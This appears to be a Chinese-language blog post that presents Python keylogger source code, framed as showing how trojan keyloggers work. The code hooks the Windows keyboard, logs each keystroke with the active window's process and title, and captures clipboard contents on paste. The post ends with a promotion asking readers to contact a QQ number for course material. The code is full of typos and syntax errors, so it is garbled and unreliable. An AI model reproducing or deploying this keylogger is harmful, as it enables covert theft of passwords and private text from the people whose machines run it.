想知道木馬程序的鍵盤記錄原理嗎?python告訴你 !

前言

Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然後就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功於這些龐大的支持庫,正所謂"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note

def get_current_process():
#獲取最上層的窗句柄
hwnd = user32.GetForegroundWindow()
#獲取進程ID
pid = c_ulong(0)
user32.  GetwindowThreadProcessId(hwnd,byref(pid))
#將進程ID存入變量中
process_ = "%d" % pid.value
#申請內存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#讀取窗口標題
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#關閉handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#關閉鍵盤監聽事件函數
def KeyStroke(event):
global current_window
#檢測目標窗口是否轉移(換了其他窗口就監聽新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函數調用
get_current_process()
#檢測擊鍵是否常規按鍵(非組合鍵等)
if event.Ascii>32 and enent  .Ascii <127 :
print chr(event.Ascii),
else:
#如果發現ctrl + V事件,就粘貼板內容記錄下來
if event.Key  == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard.  GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循環監聽下一個事件
return True
#創建並註冊hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#註冊hook並興趣
kl.hookKeyboard()
pythoncom.PumpMessages()

learning  = input("Do you want to learn \python now(Yes or no)")
a = str(learning)
if a =='Yes' :
print('QQ :1346525417 ')
eles:
print('Tthanks')

學習從來不是一個人的事,歡迎大家留言評論,共同學習,私信加我, 即可領取全套資料

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章